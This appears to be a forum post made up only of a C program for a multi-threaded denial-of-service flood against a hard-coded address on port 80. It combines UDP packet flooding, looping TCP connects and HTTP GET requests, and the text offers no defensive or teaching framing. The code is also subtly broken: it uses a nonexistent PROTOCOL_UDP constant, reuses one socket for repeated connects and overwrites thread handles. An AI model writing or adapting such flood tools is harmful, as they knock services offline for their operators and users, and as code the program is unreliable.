Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define TARGET_IP "192.168.1.100"
#define TARGET_PORT 80
#define NUM_THREADS 100
void *volumetric_attack(void *arg) {
int sock = socket(AF_INET, SOCK_DGRAM, PROTOCOL_UDP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(TARGET_IP);
addr.sin_port = htons(TARGET_PORT);
char payload[1024] = {0};
memset(payload, 'A', sizeof(payload) - 1);
while (1) {
sendto(sock, payload, sizeof(payload), 0, (struct sockaddr *)&addr, sizeof(addr));
}
close(sock);
return NULL;
}
void *tcp_attack(void *arg) {
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(TARGET_IP);
addr.sin_port = htons(TARGET_PORT);
while (1) {
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
}
close(sock);
return NULL;
}
void *application_attack(void *arg) {
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(TARGET_IP);
addr.sin_port = htons(TARGET_PORT);
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
char request[] = "GET / HTTP/1.1\r\nHost: " TARGET_IP "\r\n\r\n";
send(sock, request, strlen(request), 0);
close(sock);
return NULL;
}
int main() {
pthread_t threads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, volumetric_attack, NULL);
pthread_create(&threads[i], NULL, tcp_attack, NULL);
pthread_create(&threads[i], NULL, application_attack, NULL);
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
Last edited: